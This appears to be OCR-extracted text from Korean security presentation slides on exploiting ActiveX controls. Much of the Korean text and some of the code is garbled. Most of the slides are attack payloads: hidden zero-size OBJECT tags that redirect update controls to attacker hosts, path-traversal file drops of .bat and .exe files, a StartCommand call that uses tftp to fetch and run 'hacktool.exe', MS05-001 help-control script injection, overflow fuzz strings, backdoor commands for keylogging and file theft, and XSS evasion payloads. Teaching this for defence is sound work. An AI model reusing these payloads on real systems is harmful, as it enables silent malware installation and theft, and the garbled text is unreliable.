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<OBJECT ID="update" WIDTH=0
HEIGHT=0
CLASSID="CLSID:9D01F646-">
<PARAM NAME=“nam” VALUE="12">
</OBJECT>
<script>
update.StartUpdate()
</script>
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Is your PC really safe?
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<OBJECT ID="update" WIDTH=0 HEIGHT=0
CLASSID="CLSID:9D01F646-E3C6-4F19-A904-4BC88E9CDE79">
</OBJECT>

0K

AKX o2 S01 &XIE &

ol

<script>
update.UpdateURL = "http://update.musicqup.com"”;
update.StartUpdate();

</script>

<OBJECT ID="update" WIDTH=0 HEIGHT=0
CLASSID="CLSID:9D01F646-E3C6-4F19-A904-4BC88E9CDE79">
</OBJECT>

<script>

update.UpdateURL = "http://attaccker.xxx";
update.StartUpdate();

\ </script> /
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File read/write method 0| &

~

<OBJECT ID="mymusic" WIDTH=0 HEIGHT=0
CLASSID="CLSID:9D01F646-E3C6-4F19-A904">

HEE=
“c:\program files\mymusic\data\big.gif”

ANZ Hs\Z2 DB\AEZ 2 02\big.bat”

-

</OBJECT>
<script>
Mymusic.SetBannerimage(“http://muxss.co.kr/bio.gif”);
</script>
<OBJECT ID="mymusic" WIDTH=0 HEIGHT=0
CLASSID="CLSID:9D01F646-E3C6-4F19-A904" >
</OBJECT>
HEE= _
“c:\Documents and Settings\All users\ | <script>

Mymusic.SetBannerimage(”
http://muxss.co.kr/..\.\\documents and settings\All
users\A| & 0=\ & 7] 8\big.bat”);

</scriBt> :/
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1_ SetRegistryValue, GetRegistryValue S g|X|2E2|E =Ztgl = Q= method

2_ StartCommand®} Z0| ET Z2M|AE AlsHet = 2l= method
=> StartCommand(“tftp -i attacker.com GET hacktool.exe c:\hacktool.exe”);
=>» StartCommand(“c:\hacktool.exe”);

GetMacAddress = A|AE! HEHE AHZ2 £ 9= method
( MAC, HDD Serial 2I1= S2 98t controllA =&&|= 71 S

[y —1

4. X-internet application
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» Cross zone or Cross domain 2t&d F kA (A

B ms05-001[1] - HRZ =101 x|
IR HEE A40) 220 T=EH)
<divy A

<OBJECT id=helpctrli classid="clsid:adb88Ba6-d8fF-11cf-9377-002a0@3b7a11">
{PARAM name="Command" value="Related Topics"»

{param name="Window" value="$qlobal ms">

{PARAN name="Ttem1" walue="Click {);ntshared.chm"}

</OBJECT>
<OBJECT id=helpctrl? classid="clsid:adb88Ba6-d8FF-11cF-9377-00aa0@3b7a11"> -J
{PARAM name="Command" value="Related Topics"»

{param name="Window" value="$qlobal ms">

{PARAM name="Ttem1" value="Click ();javascript:document.writeln{unescape('%3C%73%6
</OBJECT>

{fdiv>

( Ay

© 2006 VMCraft, Inc. All rights reserved.

Help Control A4

!

C:W. Wntshared.chm
E

!

ol pagedil
Javascript injection

!

W EREH 40122
NMZ2 T2 HA &8s

-17-



»> Buffer overflow &

» AATE AL fuzzerE 0|2 &F 2t

Method, Property &2 S 9ot Buffer overflow

<OBJECT ID="update" WIDTH=0 HEIGHT=0
CLASSID="CLSID:9D01F646-E3C6-4F19-A904-4BC88E9CDE79">

<PARAM NAME=“pam1” VALUE="AAAAAAAAAAAAAAAAAA---AAAAA”>
</OBJECT>
<script>

update.UpdateURL = "http://AAAAAAAAAAAAAAAAAAAAAA.................. AA";
update.CreateMenu(“type:AAAAAAAAAAAAAAAAAAAAAA.. AAAAAAAAAT;

</script>

- J
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> ActiveX ZHEE FAEE Z=2 = 333 AJEEESE M4l

A8l InstallFile 2t&d

OF X

-

(]

<script>
update_controll.InstallFile(
"colors.dat");

</script>

"http://update.myfmgr.com:8088/data/datal.dat",

\_

<script>

update_controll.InstallFile(
"http://vmcraft.com/xxxxxx/fnmgr.exe",

".\\..\l..\\..\\Documents and Settings\\All Users\\A| &
H=\ZZ2 D SNAIHZZ ) &\\r.exe");

</script>
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Al8l: StartUpdate 2t&d F

OFX
o

EIS

<script>

update_controll.StartUpdate();

</script>

update_controll.UpdateURL = "http://update.myfmgr.com:8088/";

\_

<script>

update_controll.UpdateURL = "http://vmcraft.com/xxxxx/";
update_controll.StartUpdate();

</script>
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.capture screen c:W3t3.bmp
.cmd dir

findfile *.doc c:W

.get c:WresearchWtop_secret.doc
.keylog on

.psniff on

.scan 1.2.3.4 80 10

.redirect 80 www.intranet.com 80
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> Code injection g J|&

Tip
> <script>Lt <object> tagit 202t 22 £ = &5 YU0IE MOIET ULH.
> 0]l 3R XSS E20lA 0|2 = CHEs L310|18HS 828 £ UL

<IFRAME src=htip://attacker/exploit.htm! height=0 width=0> </frame>

” ”

<SCRIPT> document.write(“<obj”+”ect> -+ </object”); </script>

<IMG SRC="javascript:document.write(’ - ’)">

<IMG SRC="jav&#x0D;ascript:document.write(‘ --- ’)">

<LINK REL="stylesheet" HREF="http://attacker/exploit.css">
<STYLE>@import' http://attacker/exploit.css ";</STYLE>

<DIV STYLE="background-image: url(&#1;javascript:document.write(‘---’))">

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

\_
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text:f80816669 and [ebp+var_A4], @
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.text: 00816672 cmp al, [ER

-text:B0816674 sub [ebx], ebx
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-text:pOO16683 db 2Eh

-text:8A816683 push edi

-text:A0816685 xchg eax, ecx

-text:B800816686 outsd

-text:AO016687 nop
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